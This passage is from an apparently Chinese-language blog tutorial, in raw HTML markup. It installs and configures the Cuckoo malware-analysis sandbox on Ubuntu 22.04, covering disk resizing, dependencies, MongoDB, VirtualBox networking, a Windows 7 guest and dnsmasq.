loop7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;87M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/lxd/29351
loop8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;89.4M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/lxd/31333
loop9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;38.8M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/snapd/21759
loop10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7:10&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;50.9M&amp;nbsp;&amp;nbsp;1&amp;nbsp;loop&amp;nbsp;/snap/snapd/24505
sda&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;60G&amp;nbsp;&amp;nbsp;0&amp;nbsp;disk&amp;nbsp;
├─sda1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1M&amp;nbsp;&amp;nbsp;0&amp;nbsp;part&amp;nbsp;
├─sda2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2G&amp;nbsp;&amp;nbsp;0&amp;nbsp;part&amp;nbsp;/boot
└─sda3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;58G&amp;nbsp;&amp;nbsp;0&amp;nbsp;part&amp;nbsp;
&amp;nbsp;&amp;nbsp;└─ubuntu--vg-ubuntu--lv&amp;nbsp;253:0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;19G&amp;nbsp;&amp;nbsp;0&amp;nbsp;lvm&amp;nbsp;&amp;nbsp;/
sr0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;11:0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2G&amp;nbsp;&amp;nbsp;0&amp;nbsp;rom&amp;nbsp;&amp;nbsp;/media/ubuntu/Ubuntu-Server&amp;nbsp;22.04.5&amp;nbsp;LTS&amp;nbsp;amd64&lt;/pre&gt;&lt;p&gt;磁盘空间为分配到位&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;lvextend&amp;nbsp;-l&amp;nbsp;+100%FREE&amp;nbsp;/dev/ubuntu-vg/ubuntu-lv&lt;/pre&gt;&lt;p&gt;lsblk查看结果：（修改部分）&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sda&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;60G&amp;nbsp;&amp;nbsp;0&amp;nbsp;disk&amp;nbsp;
├─sda1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1M&amp;nbsp;&amp;nbsp;0&amp;nbsp;part&amp;nbsp;
├─sda2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2G&amp;nbsp;&amp;nbsp;0&amp;nbsp;part&amp;nbsp;/boot
└─sda3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8:3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;58G&amp;nbsp;&amp;nbsp;0&amp;nbsp;part&amp;nbsp;
&amp;nbsp;&amp;nbsp;└─ubuntu--vg-ubuntu--lv&amp;nbsp;253:0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;58G&amp;nbsp;&amp;nbsp;0&amp;nbsp;lvm&amp;nbsp;&amp;nbsp;/&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;lvextend&amp;nbsp;-L&amp;nbsp;+10G&amp;nbsp;/dev/ubuntu-vg/ubuntu-lv&amp;nbsp;&amp;nbsp;#&amp;nbsp;增加10G
sudo&amp;nbsp;resize2fs&amp;nbsp;/dev/ubuntu-vg/ubuntu-lv&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;调整文件系统
sh&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;安装所需包：&lt;br/&gt;&lt;/h4&gt;&lt;h4&gt;安装python2.7&lt;/h4&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#&amp;nbsp;1.&amp;nbsp;安装&amp;nbsp;Python&amp;nbsp;2.7
sudo&amp;nbsp;apt&amp;nbsp;update
sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;python2

#&amp;nbsp;2.&amp;nbsp;安装&amp;nbsp;pip（Python&amp;nbsp;2.7）
curl&amp;nbsp;https://bootstrap.pypa.io/pip/2.7/get-pip.py&amp;nbsp;-O
sudo&amp;nbsp;python2&amp;nbsp;get-pip.py

#&amp;nbsp;安装&amp;nbsp;Python&amp;nbsp;2.7&amp;nbsp;的开发包（Ubuntu&amp;nbsp;20.04+&amp;nbsp;可能需要）
sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;python2-dev

#&amp;nbsp;安装其他依赖
sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;libffi-dev&amp;nbsp;libssl-dev&amp;nbsp;libfuzzy-dev&amp;nbsp;libtool&amp;nbsp;flex&amp;nbsp;autoconf&amp;nbsp;libjansson-dev&amp;nbsp;git

sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;python-dev&amp;nbsp;libffi-dev&amp;nbsp;libssl-dev&amp;nbsp;libfuzzy-dev&amp;nbsp;libtool&amp;nbsp;flex&amp;nbsp;autoconf&amp;nbsp;libjansson-dev&amp;nbsp;git&lt;/pre&gt;&lt;h4&gt;安装mongodb&lt;/h4&gt;&lt;p&gt;添加 MongoDB 官方 GPG 密钥&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt&amp;nbsp;update
sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;gnupg&amp;nbsp;curl
curl&amp;nbsp;-fsSL&amp;nbsp;https://www.mongodb.org/static/pgp/server-6.0.asc&amp;nbsp;|&amp;nbsp;sudo&amp;nbsp;gpg&amp;nbsp;--dearmor&amp;nbsp;-o&amp;nbsp;/usr/share/keyrings/mongodb.gpg&lt;/pre&gt;&lt;p&gt;添加 MongoDB 官方仓库&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;echo&amp;nbsp;&amp;quot;deb&amp;nbsp;[arch=amd64,arm64&amp;nbsp;signed-by=/usr/share/keyrings/mongodb.gpg]&amp;nbsp;https://repo.mongodb.org/apt/ubuntu&amp;nbsp;$(lsb_release&amp;nbsp;-cs)/mongodb-org/6.0&amp;nbsp;multiverse&amp;quot;&amp;nbsp;|&amp;nbsp;sudo&amp;nbsp;tee&amp;nbsp;/etc/apt/sources.list.d/mongodb-org-6.0.list&lt;/pre&gt;&lt;p&gt;更新软件包列表并安装 MongoDB&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt&amp;nbsp;update
sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;mongodb-org&lt;/pre&gt;&lt;p&gt;启动 MongoDB 服务&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;systemctl&amp;nbsp;start&amp;nbsp;mongod
sudo&amp;nbsp;systemctl&amp;nbsp;enable&amp;nbsp;mongod&lt;/pre&gt;&lt;p&gt;检查 MongoDB 是否运行&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;systemctl&amp;nbsp;status&amp;nbsp;mongod&lt;/pre&gt;&lt;p&gt;成功运行结果：&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;●&amp;nbsp;mongod.service&amp;nbsp;-&amp;nbsp;MongoDB&amp;nbsp;Database&amp;nbsp;Server
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Loaded:&amp;nbsp;loaded&amp;nbsp;(/lib/systemd/system/mongod.service;&amp;nbsp;enabled;&amp;nbsp;vendor&amp;nbsp;preset:&amp;nbsp;enabled)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Active:&amp;nbsp;active&amp;nbsp;(running)&amp;nbsp;since&amp;nbsp;Sun&amp;nbsp;2025-05-11&amp;nbsp;15:05:59&amp;nbsp;UTC;&amp;nbsp;6s&amp;nbsp;ago
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Docs:&amp;nbsp;https://docs.mongodb.org/manual
&amp;nbsp;&amp;nbsp;&amp;nbsp;Main&amp;nbsp;PID:&amp;nbsp;9421&amp;nbsp;(mongod)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Memory:&amp;nbsp;66.7M
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CPU:&amp;nbsp;247ms
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CGroup:&amp;nbsp;/system.slice/mongod.service
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;└─9421&amp;nbsp;/usr/bin/mongod&amp;nbsp;--config&amp;nbsp;/etc/mongod.conf&lt;/pre&gt;&lt;h4&gt;cuckoo推荐的数据库是PostgreSQL，所以运行&lt;/h4&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;postgresql&amp;nbsp;libpq-dev&lt;/pre&gt;&lt;h4&gt;安装virtualbox虚拟机&lt;/h4&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;virtualbox&lt;/pre&gt;&lt;h2&gt;下载并安装cuckoo工作所需的所有插件&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;1）初始化&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;git&amp;nbsp;clone&amp;nbsp;https://github.com/volatilityfoundation/volatility.git&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;2）构建volatile&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;cd&amp;nbsp;volatility
sudo&amp;nbsp;python&amp;nbsp;setup.py&amp;nbsp;build&lt;/pre&gt;&lt;p&gt;安装&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;python&amp;nbsp;setup.py&amp;nbsp;install&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;3）安装Distorm3&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;distorm3==3.4.4&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;4）安装Yara&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;yara-python==3.6.3&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;5）安装ssdeep&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;ssdeep&lt;/pre&gt;&lt;p&gt;输入&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;ssdeep&amp;nbsp;-V&lt;/pre&gt;&lt;p&gt;来验证它的安装&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;6）安装pydeep&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;pydeep&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;键入pip show pydeep来检查它是否已安装!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;7）安装openpyxl&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;openpyxl&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;8）安装ujson&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;ujson&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;9）安装jupyter&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;jupyter
pip&amp;nbsp;install&amp;nbsp;ipywidgets==4.1.1
pip&amp;nbsp;install&amp;nbsp;jupyter==1.0.0&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;10）安装TCPDump以启用数据包捕获分析&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;tcpdump
sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;libcap2-bin
sudo&amp;nbsp;setcap&amp;nbsp;cap_net_raw,cap_net_admin=eip&amp;nbsp;/usr/bin/tcpdump
getcap&amp;nbsp;/usr/bin/tcpdump&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;11）需要安装和禁用apparmor&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;apt-get&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;apparmor-utils
sudo&amp;nbsp;aa-disable&amp;nbsp;/usr/sbin/tcpdump&lt;/pre&gt;&lt;p&gt;&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/p&gt;&lt;h1&gt;7、安装cuckoo sandbox&lt;/h1&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;pip&amp;nbsp;install&amp;nbsp;-U&amp;nbsp;pip&amp;nbsp;setuptools&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;sudo&amp;nbsp;-H&amp;nbsp;pip&amp;nbsp;install&amp;nbsp;-U&amp;nbsp;cuckoo&lt;/pre&gt;&lt;h2&gt;设置virtualbox环境&lt;span style=&quot;color: #15A7A7; font-family: &amp;quot;Menlo,Monaco,Consolas,&amp;#39;Courier New&amp;#39;, monospace&amp;quot;; font-size: 13.05px; text-wrap: wrap; background-color: #2C3053;&quot;&gt;&lt;/span&gt;&lt;br/&gt;&lt;/h2&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;ifconfig&lt;/pre&gt;&lt;p&gt;创建一个只支持主机的网络适配器&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;vboxmanage&amp;nbsp;hostonlyif&amp;nbsp;create&lt;/pre&gt;&lt;p&gt;为虚拟接口设置IP地址&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;vboxmanage&amp;nbsp;hostonlyif&amp;nbsp;ipconfig&amp;nbsp;vboxnet0&amp;nbsp;--ip&amp;nbsp;192.168.56.1
ifconfig&lt;/pre&gt;&lt;h2&gt;Windows虚拟机配置&lt;/h2&gt;&lt;p&gt;提前准备一份win7镜像穿如虚拟机中&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747020291306944.png&quot; alt=&quot;image.png&quot; width=&quot;743&quot; height=&quot;168&quot; style=&quot;width: 743px; height: 168px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;vm ubuntu开启虚拟化后才可以在虚拟机内套娃虚拟机&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505131747147290520932.png&quot; alt=&quot;image.png&quot; width=&quot;794&quot; height=&quot;354&quot; style=&quot;width: 794px; height: 354px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;配置win7镜像：&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747021141471983.png&quot; alt=&quot;image.png&quot; width=&quot;383&quot; height=&quot;188&quot; style=&quot;width: 383px; height: 188px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747025989208248.png&quot; alt=&quot;image.png&quot; width=&quot;687&quot; height=&quot;271&quot; style=&quot;width: 687px; height: 271px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;安装pro工具，关闭防火墙&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747026345892488.png&quot; alt=&quot;image.png&quot; width=&quot;525&quot; height=&quot;304&quot; style=&quot;width: 525px; height: 304px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;配置共享文件夹：将python.exe安装包放到win7共享文件夹内安装：&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;安装python&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747027839286646.png&quot; alt=&quot;image.png&quot; width=&quot;577&quot; height=&quot;204&quot; style=&quot;width: 577px; height: 204px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;安装pip&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747031176577375.png&quot; alt=&quot;image.png&quot; width=&quot;710&quot; height=&quot;147&quot; style=&quot;width: 710px; height: 147px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;安装pillow&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505121747031133890026.png&quot; alt=&quot;image.png&quot; width=&quot;702&quot; height=&quot;220&quot; style=&quot;width: 702px; height: 220px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;ubuntu22.04安装dnsmasq（解决wiin7无法连网）（&lt;span style=&quot;text-wrap: wrap;&quot;&gt;https://blog.csdn.net/zwjzone/article/details/137114806&lt;/span&gt;）&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;检查是否安装了 dnsmasq&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;which&amp;nbsp;dnsmasq&amp;nbsp;||&amp;nbsp;echo&amp;nbsp;&amp;quot;dnsmasq&amp;nbsp;not&amp;nbsp;installed&amp;quot;&lt;/pre&gt;&lt;p&gt;结果：&lt;/p&gt;&lt;p&gt;/usr/sbin/dnsmasq&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Ubuntu 22.04 NetworkManager 自带 dnsmasq 但默认没有启用.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;vim&amp;nbsp;/etc/NetworkManager/NetworkManager.conf&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;添加：dns=dnsmasq&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;根据需要添加 dnsmasq 配置&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;vim&amp;nbsp;/etc/NetworkManager/dnsmasq.d/dnsmasq.conf

#&amp;nbsp;监听地址（本机&amp;nbsp;+&amp;nbsp;多网卡）
listen-address=192.168.2.157,127.0.0.1,192.168.56.1

